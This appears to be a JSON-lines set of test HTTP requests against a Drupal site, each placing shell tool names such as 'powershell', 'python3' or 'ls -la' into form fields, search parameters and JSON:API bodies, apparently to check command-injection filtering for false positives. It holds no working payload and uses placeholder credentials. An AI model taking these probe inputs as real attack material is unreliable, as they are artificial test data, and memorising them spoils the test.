{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"python3\", \"description\": {\"value\": \"python3\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"python3\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"python3\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"python3\"}}}"}
{"method": "GET", "target": "/user/password?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=powershell&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"powershell\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=powershell&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=powershell&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-39jdXePAKADieFAxtAyAbTASAZlWBD25eCMIE6Afa6Y&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-8i-ZobNtZSL-3O050WQd4fVWQcZ-Up1ggLaqKOyrMew&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-dGwYW4O30AY72IYovJIsrVbtEwplwChm7Ufp5Vj8Xn0&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-zWgUpFs_DRf8Z7uzAGog4tmcWPs48AL2L7JJ5WRqBj4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-f7T6e9-CWGNDjPXn-6pK1Fsb3EHB5BXd9I10o2ooqYQ&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-JPNGqpnYg8b0xXtuD-aw2iKACwYzPMeOVQGLGxlbYRA&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=python3%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-iIZ0l558j-xqeMwGupeCbJQrxGqJTGU0hf0Qgdflpqg&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=powershell&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=powershell&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-QxeeEtI4teTXZHcS8vw668mg82J8oWb3sweKrB8Xz60&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=powershell%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=powershell&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"powershell\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"powershell\", \"description\": {\"value\": \"powershell\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"powershell\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"powershell\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"powershell\"}}}"}
{"method": "GET", "target": "/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
